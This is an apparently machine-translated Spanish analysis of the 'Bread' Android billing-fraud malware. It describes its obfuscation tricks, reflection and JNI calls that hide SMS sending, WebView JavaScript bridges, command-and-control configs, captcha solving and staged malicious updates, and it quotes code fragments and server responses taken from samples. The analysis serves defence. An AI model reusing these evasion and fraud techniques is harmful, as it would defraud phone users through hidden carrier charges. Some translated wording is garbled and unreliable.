Las aplicaciones de pan generalmente se dividen en dos categorías: fraude de SMS (versiones anteriores) y fraude de peaje (versiones más recientes). Ambos tipos de fraude aprovechan las técnicas de facturación móvil que involucran al operador del usuario.
Facturación por SMS
Los operadores pueden asociarse con proveedores para permitir a los usuarios pagar los servicios por SMS. El usuario simplemente necesita enviar una palabra clave prescrita a un número prescrito (shortcode). Luego se agrega un cargo a la factura del usuario con su proveedor de servicios móviles.
Facturación de peaje
Los operadores también pueden proporcionar puntos finales de pago a través de una página web. El usuario visita la URL para completar el pago e ingresa su número de teléfono. La verificación de que la solicitud proviene del dispositivo del usuario se completa utilizando dos métodos posibles:
- El usuario se conecta al sitio a través de datos móviles, no WiFi (por lo que el proveedor de servicios maneja directamente la conexión y puede validar el número de teléfono); o
- El usuario debe recuperar un código que se le envió por SMS e ingresarlo en la página web (lo que demuestra el acceso al número de teléfono proporcionado).
Fraude
Los dos métodos de facturación detallados anteriormente proporcionan la verificación del dispositivo, pero no la verificación del usuario. El operador puede determinar que la solicitud se origina en el dispositivo del usuario, pero no requiere ninguna interacción del usuario que no pueda automatizarse. Los autores de malware utilizan clics inyectados, analizadores HTML personalizados y receptores de SMS para automatizar el proceso de facturación sin requerir ninguna interacción por parte del usuario.
Las aplicaciones de pan han utilizado muchas técnicas innovadoras y clásicas para ocultar cadenas de motores de análisis. Aquí hay algunos puntos destacados.
Cifrado estándar
Con frecuencia, las aplicaciones Bread aprovechan las bibliotecas criptográficas estándar en `java.util.crypto`. Hemos descubierto aplicaciones que usan AES, Blowfish y DES, así como combinaciones de estas para encriptar sus cadenas.
Cifrado personalizado
Otras variantes han utilizado algoritmos de cifrado personalizados. Algunas técnicas comunes incluyen: cifrado XOR básico, XOR anidado y métodos de derivación de clave personalizados. Algunas variantes han ido tan lejos como para usar una clave diferente para las cadenas de cada clase.
Cuerdas divididas
Las cadenas encriptadas pueden ser una señal de que el código está tratando de ocultar algo. Bread ha utilizado algunos trucos para mantener las cadenas en texto sin formato al tiempo que evita la coincidencia básica de cadenas.
String click_code = new StringBuilder().append(".cli").append("ck();");
Yendo un paso más allá, estas subcadenas a veces están dispersas en todo el código, recuperadas de variables estáticas y llamadas a métodos. Varias versiones también pueden cambiar el índice de la división (por ejemplo, ".clic" y "k ();").
Delimitadores
Otra técnica para ofuscar cadenas sin cifrar utiliza delimitadores repetidos. Se inserta una cadena corta y constante de caracteres en puntos estratégicos para dividir las palabras clave:
String js = "javm6voTascrm6voTipt:window.SDFGHWEGSG.catcm6voThPage(docm6voTument.getElemm6voTentsByTm6voTagName('html')(m6voT0).innerHTML);"
En tiempo de ejecución, el delimitador se elimina antes de usar la cadena:
js = js.replaceAll("m6voT", "");
El fraude de SMS y llamadas generalmente requiere algunos comportamientos básicos (por ejemplo, deshabilitar WiFi o acceder a SMS), a los que puede acceder un puñado de API. Dado que se requiere un número limitado de comportamientos para identificar el fraude en la facturación, las aplicaciones Bread han tenido que probar una amplia variedad de técnicas para enmascarar el uso de estas API.
Reflexión
La mayoría de los métodos para ocultar el uso de API tienden a usar la reflexión de Java de alguna manera. En algunas muestras, Bread simplemente ha llamado directamente a la API Reflect en cadenas descifradas en tiempo de ejecución.
Class smsManagerClass = Class.forName(p.a().decrypt("wI7HmhUo0OYTnO2rFy3yxE2DFECD2I9reFnmPF3LuAc=")); // android.telephony.SmsManager
smsManagerClass.getMethod(p.a().decrypt("0oXNjC4kzLwqnPK9BiL4qw=="), // sendTextMessage
String.class, String.class, String.class, PendingIntent.class, PendingIntent.class).invoke(smsManagerClass.getMethod(p.a().decrypt("xoXXrB8n1b0LjYfIYUObrA==")).invoke(null), addr, null, message, null, null); // getDefault
JNI
Bread también ha probado nuestra capacidad para analizar código nativo. En una muestra, no aparece ningún código relacionado con SMS en el archivo DEX, pero hay un método nativo registrado.
public static native void nativesend(String arg0, String arg1);
Se pasan dos cadenas a la llamada, el shortcode y la palabra clave utilizada para la facturación de SMS (los métodos getter se renombraron aquí para mayor claridad).
JniManager.nativesend(this.get_shortcode(), this.get_keyword());
En la biblioteca nativa, almacena las cadenas para acceder a la API de SMS.
los nativesend El método utiliza la Interfaz nativa de Java (JNI) para buscar y llamar a la API de SMS de Android. La siguiente es una captura de pantalla de IDA con comentarios que muestran las cadenas y las funciones JNI.
Interfaz JavaScript de WebView
Continuando con el tema de los puentes entre idiomas, Bread también ha probado algunos métodos de ofuscación que utilizan JavaScript en WebViews. El siguiente método se declara en el DEX.
public void method1(String p7, String p8, String p9, String p10, String p11)
Class v0_1 = Class.forName(p7);
Class() v1_1 = new Class(0);
Object() v3_1 = new Object(0);
Object v1_3 = v0_1.getMethod(p8, v1_1).invoke(0, v3_1);
Class() v2_2 = new Class(5);
v2_2(0) = String.class;
v2_2(1) = String.class;
v2_2(2) = String.class;
v2_2(3) = android.app.PendingIntent.class;
v2_2(4) = android.app.PendingIntent.class;
reflect.Method v0_2 = v0_1.getMethod(p9, v2_2);
Object() v2_4 = new Object(5);
v2_4(0) = p10;
v2_4(1) = 0;
v2_4(2) = p11;
v2_4(3) = 0;
v2_4(4) = 0;
v0_2.invoke(v1_3, v2_4);
Sin contexto, este método no revela mucho sobre su comportamiento previsto, y no se realizan llamadas a él en ningún lugar del DEX. Sin embargo, la aplicación crea un WebView y registra una interfaz JavaScript para esta clase.
this.webView.addJavascriptInterface(this, "stub");
Esto le da a JavaScript ejecutado en el acceso WebView a este método. La aplicación carga una URL que apunta a un servidor controlado por Pan. La respuesta contiene algunos HTML y JavaScript básicos.
En verde, podemos ver las referencias a la API de SMS. En rojo, vemos que esos valores se pasan al método sospechoso de Java a través de la interfaz registrada. Ahora, usando estas cadenas method1 puede usar la reflexión para llamar sendTextMessage y procesar el pago.
Además de implementar técnicas de ofuscación personalizadas, las aplicaciones han utilizado varios empacadores disponibles comercialmente, incluidos: Qihoo360, AliProtect y SecShell.
Más recientemente, hemos visto aplicaciones relacionadas con Bread que intentan ocultar código malicioso en una biblioteca nativa incluida con el APK. A principios de este año, descubrimos aplicaciones que ocultaban un JAR en la sección de datos de un archivo ELF que luego carga dinámicamente usando DexClassLoader.
La figura a continuación muestra un fragmento de JAR cifrado almacenado en la sección .rodata de un objeto compartido enviado con el APK, así como la clave XOR utilizada para el descifrado.
Después de que bloqueamos esas muestras, movieron una porción significativa de funcionalidad maliciosa a la biblioteca nativa, lo que resultó en un intercambio bastante peculiar entre Dalvik y el código nativo:
Códigos cortos dinámicos y contenido
Las primeras versiones de Bread utilizaron una infraestructura básica de comando y control para entregar dinámicamente contenido y recuperar detalles de facturación. En el ejemplo de respuesta del servidor a continuación, los campos verdes muestran el texto que se mostrará al usuario. Los campos rojos se utilizan como shortcode y palabra clave para la facturación de SMS.
Máquinas estatales
Dado que varios operadores implementan el proceso de facturación de manera diferente, Bread ha desarrollado varias variantes que contienen máquinas de estado generalizadas que implementan todos los pasos posibles. En tiempo de ejecución, las aplicaciones pueden verificar a qué operador está conectado el dispositivo y obtener un objeto de configuración del servidor de comando y control. La configuración contiene una lista de pasos para ejecutar con URL y JavaScript.
"message":"Success",
"result":(
"list":(
"endUrl":"http://sabai5555.com/",
"netType":0,
"number":1,
"offerId":"1009",
"step":1,
"trankUrl": "http://atracking-auto.appflood.com/transaction/post_click?offer_id=19190660&aff_id=10336"
,
"netType":0,
"number":2,
"offerId":"1009",
"params":"function jsFun()document.getElementsByTagName('a')(1).click();",
"step":2
,
"endUrl":"http://consentprt.dtac.co.th/webaoc/InformationPage",
"netType":0,
"number":3,
"offerId":"1009",
"params":"javascript:jsFun()",
"step":4
,
"endUrl":"http://consentprt.dtac.co.th/webaoc/SuccessPage",
"netType":0,
"number":4,
"offerId":"1009",
"params":"javascript:getOk()",
"step":3
,
"netType":0,
"number":5,
"offerId":"1009",
"step":7
),
"netType":0,
"offerId":"1009"
),
"code":"200"
Los pasos implementados incluyen:
- Cargar una URL en un WebView
- Ejecute JavaScript en WebView
- Alternar estado de WiFi
- Alternar estado de datos móviles
- Leer / modificar la bandeja de entrada de SMS
- Resolver captchas
Captchas
Uno de los estados más interesantes implementa la capacidad de resolver captchas básicos (letras y números oscurecidos). Primero, la aplicación crea una función de JavaScript para llamar a un método Java, getImageBase64, expuesto a WebView usando addJavascriptInterface.
El valor utilizado para reemplazar GET_IMG_OBJECT proviene de la configuración JSON.
"params": "document.getElementById('captcha')"
Luego, la aplicación usa la inyección de JavaScript para crear un nuevo script en la página web del operador para ejecutar la nueva función.
La imagen codificada en base64 se carga en un servicio de reconocimiento de imágenes. Si el texto se recupera con éxito, la aplicación usa la inyección de JavaScript nuevamente para enviar el formulario HTML con la respuesta captcha.
Cheques de transportista del lado del cliente
En nuestro ejemplo básico de comando y control anterior, no abordamos el campo "incorrectamente etiquetado" "imei".
"button": "ยินดีต้อนรับ",
"code": 0,
"content": "F10",
"imei": "52003,52005,52000",
"rule": "Here are all the pictures you need, about
happiness, beauty, beauty, etc., with our most
sincere service, to provide you with the most
complete resources.",
"service": "4219245"
Contiene los valores de Mobile Country Code (MCC) y Mobile Network Code (MNC) para los que funcionará el proceso de facturación. En este ejemplo, la respuesta del servidor contiene varios valores para los operadores tailandeses. La aplicación comprueba si la red del dispositivo coincide con una de las proporcionadas por el servidor. Si lo hace, comenzará con el proceso de facturación. Si el valor no coincide, la aplicación omite la página de "divulgación" y el proceso de facturación y lleva al usuario directamente al contenido de la aplicación.
En algunas versiones, el servidor solo devolvería respuestas válidas varios días después del envío de las aplicaciones.
Verificaciones del operador del lado del servidor
En el ejemplo de ofuscación de la API del puente JavaScript que se cubrió anteriormente, el servidor suministró a la aplicación las cadenas necesarias para completar el proceso de facturación. Sin embargo, es posible que los analistas no siempre vean los indicadores de compromiso en la respuesta del servidor.
En este ejemplo, las solicitudes al servidor toman la siguiente forma:
http://X.X.X.X/web?operator=52000&id=com.battery.fakepackage&deviceid=deadbeefdeadbeefdeadbeefdeadbeef
Aquí, el parámetro de consulta del "operador" es el código de país móvil y el código de red móvil. El servidor puede usar esta información para determinar si el operador del usuario es uno de los objetivos de Bread. Si no, la respuesta se elimina de las cadenas utilizadas para completar el fraude de facturación.
ไปเดี๋ยวนี้
Las aplicaciones de pan a veces muestran una ventana emergente para el usuario que implica alguna forma de cumplimiento o divulgación, mostrando términos y Condiciones o un confirmar botón. Sin embargo, el texto real a menudo solo muestra un mensaje de bienvenida básico.
Traducción: “Esta aplicación es un lugar para estar y se sentirá como un superhéroe con esta nueva aplicación. ¡Esperamos que lo disfrutes!"
Otras versiones incluyen todas las piezas necesarias para un mensaje de divulgación válido.
Cuando se traduce la divulgación dice:
"Aplicar clip de carreras de autos n Ingrese su número de teléfono para obtener detalles del servicio. n Términos y condiciones nDe 9 baht / día, recibirá 1 mensaje / día. nDetenga el servicio de impresión V4 al 4739504 ny llame al 02-697-9298 n de lunes a viernes de 8.30 a 5.30 p.m. n "
Sin embargo, todavía hay dos problemas aquí:
- Los números de contacto para cancelar la suscripción no son reales.
- El proceso de facturación comienza incluso si no presiona el botón "Confirmar"
Incluso si la divulgación aquí muestra información precisa, el usuario a menudo encontrará que la funcionalidad anunciada de la aplicación no coincide con el contenido real. Las aplicaciones de pan con frecuencia no contienen ninguna funcionalidad más allá del proceso de facturación o simplemente clonan contenido de otras aplicaciones populares.
Bread también ha aprovechado una táctica de abuso exclusiva de las tiendas de aplicaciones: el versionado. Algunas aplicaciones han comenzado con versiones limpias, en un intento de aumentar las bases de usuarios y construir la reputación de las cuentas de desarrollador. Solo más tarde se introduce el código malicioso, a través de una actualización. Curiosamente, las primeras versiones "limpias" contienen diferentes niveles de señales de que las actualizaciones incluirán código malicioso más adelante. Algunos se cargan primero con todo el código necesario, excepto la línea que realmente inicializa el proceso de facturación. Otros pueden tener los permisos necesarios, pero faltan las clases que contienen el código de fraude. Y otros tienen todo el contenido malicioso eliminado, excepto los comentarios de registro que hacen referencia al proceso de pago. Todos estos métodos intentan espaciar la introducción de posibles señales en varias etapas, buscando vacíos en el proceso de publicación. Sin embargo, GPP no trata las nuevas aplicaciones y actualizaciones de manera diferente desde una perspectiva de análisis.
Cuando se publican las primeras versiones de las aplicaciones, aparecen muchas reseñas de cinco estrellas con comentarios como:
